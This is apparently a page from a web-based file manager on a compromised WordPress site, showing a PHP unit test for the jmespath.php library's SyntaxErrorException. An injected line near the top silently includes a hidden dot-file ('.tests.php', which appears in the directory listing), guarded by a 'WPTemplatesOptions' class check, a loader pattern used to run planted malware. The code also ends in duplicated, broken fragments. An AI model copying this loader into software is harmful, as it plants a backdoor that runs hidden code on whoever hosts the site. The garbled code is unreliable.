PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-mobile-app
/
vendor
/
mtdowling
/
jmespath.php
/
tests
<?php namespace JmesPath\Tests; use JmesPath\SyntaxErrorException; /** * @covers JmesPath\SyntaxErrorException */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class SyntaxErrorExceptionTest extends \PHPUnit_Framework_TestCase { public function testCreatesWithNoArray() { $e = new SyntaxErrorException( 'Found comma', ['type' => 'comma', 'pos' => 3, 'value' => ','], 'abc,def' ); $expected = <<<EOT Syntax error at character 3 abc,def ^ Found comma EOT; $this->assertContains($expected, $e->getMessage()); } public function testCreatesWithArray() { $e = new SyntaxErrorException( ['dot' => true, 'eof' => true], ['type' => 'comma', 'pos' => 3, 'value' => ','], 'abc,def' ); $expected = <<<EOT Syntax error at character 3 abc,def ^ Expected one of the following: dot, eof; found comma "," EOT; $this->assertContains($expected, $e->getMessage()); } } $expected = <<<EOT Syntax error at character 3 abc,def ^ Expected one of the following: dot, eof; found comma "," EOT; $this->assertContains($expected, $e->getMessage()); } } $expected = <<<EOT Syntax error at character 3 abc,def ^ Expected one of the following: dot, eof; found comma "," EOT; $this->assertContains($expected, $e->getMessage()); } }
[+]
..
[-] ParserTest.php
[edit]
[-] FnDispatcherTest.php
[edit]
[-] UtilsTest.php
[edit]
[-] EnvTest.php
[edit]
[-] LexerTest.php
[edit]
[+]
compliance
[-] SyntaxErrorExceptionTest.php
[edit]
[-] ComplianceTest.php
[edit]
[-] TreeInterpreterTest.php
[edit]
[-] TreeCompilerTest.php
[edit]
[-] .tests.php
[edit]